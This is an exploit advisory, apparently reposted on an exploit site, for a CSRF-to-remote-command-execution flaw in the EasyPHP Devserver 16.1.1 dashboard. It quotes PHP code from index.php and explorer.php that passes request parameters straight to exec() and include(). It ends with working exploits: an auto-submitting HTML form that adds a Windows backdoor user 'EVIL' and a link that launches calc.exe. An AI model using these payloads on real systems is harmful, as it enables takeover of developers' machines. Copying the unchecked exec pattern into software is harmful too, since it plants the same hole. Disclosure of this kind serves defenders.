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EasyPHP Devserver 16.1.1 - Cross-Site Request Forgery / Remote Command Execution
[+] Credits: John Page aka hyp3rlinx Vendor: =============== www.easyphp.org Product: ============================= EasyPHP Devserver v16.1.1 easyphp-devserver-16.1.1-setup.exe hash: 64184d330a34be9e6c029ffa63c903de A complete WAMP environment for PHP development & personal web hosting. Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin, Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows. Vulnerability Type: ================================= CSRF / Remote Command Execution CVE Reference: ============== N/A Vulnerability Details: ===================== EasyPHP Devserver dashboard runs on port 1111, the PHP code contains mulitple RCE vectors, which can allow arbitrary OS commands to be executed on the target system by remote attackers, if a user visits malicious webpage or link. The "index.php" and "explorer.php" files both contain vulnerable code that will happily process both GET / POST RCE requests. Below EasyPHP Code contains no CSRF token or checks whatsoever. All attacker needs is to supply 'type' and command values. Possibility for RFI (remote file inclusion) if the "allow_url_include=0" setting is changed in "php.ini" configuration. No checks or CSRF tokens for PHP include directives either, the default however is set to Off. e.g. RFI attempt result Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 line 8 of "explorer.php" ====================== //== ACTIONS ================================================================== if (isset($_POST['action'])) { // Include and exec if (isset($_POST['action']['request'])) { foreach ($_POST['action']['request'] as $request) { if ($request['type'] == 'include') include(urldecode($request['value'])); if ($request['type'] == 'exe') exec(urldecode($request['value'])); } } $redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; header("Location: " . $redirect); exit; } ////////////////////////////////////////////////// line 48 "index.php" ================== //== ACTIONS ================================================================== if (isset($_POST['action'])) { // Include and exec if (isset($_POST['action']['request'])) { foreach ($_POST['action']['request'] as $request) { if ($request['type'] == 'include') include(urldecode($request['value'])); if ($request['type'] == 'exe') exec(urldecode($request['value'])); } } sleep(1); $redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; header("Location: " . $redirect); exit; } if (isset($_GET['action'])) { // Include and exec if ($_GET['action'] == 'include') include(urldecode($_GET['value'])); if ($_GET['action'] == 'exe') exec(urldecode($_GET['value'])); if (isset($_GET['redirect'])) { $redirect = urldecode($_GET['redirect']); } else { $redirect = 'http://127.0.0.1:1111/index.php'; } sleep(1); header("Location: " . $redirect); exit; } Exploit code(s): =============== 1) Add Backdoor User Account <form action="http://127.0.0.1:1111/explorer.php" method="post"> <input type="hidden" name="action[request][0][type]" value="exe"> <input type="hidden" name="action[request][0][value]" value="net user EVIL Password /add"> <script>document.forms[0].submit()</script> </form> 2) Run "calc.exe" <a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe ">Clicky...</a> Disclosure Timeline: ====================================== Vendor Notification: No replies November 22, 2016 : Public Disclosure # 0day.today [2024-09-20] #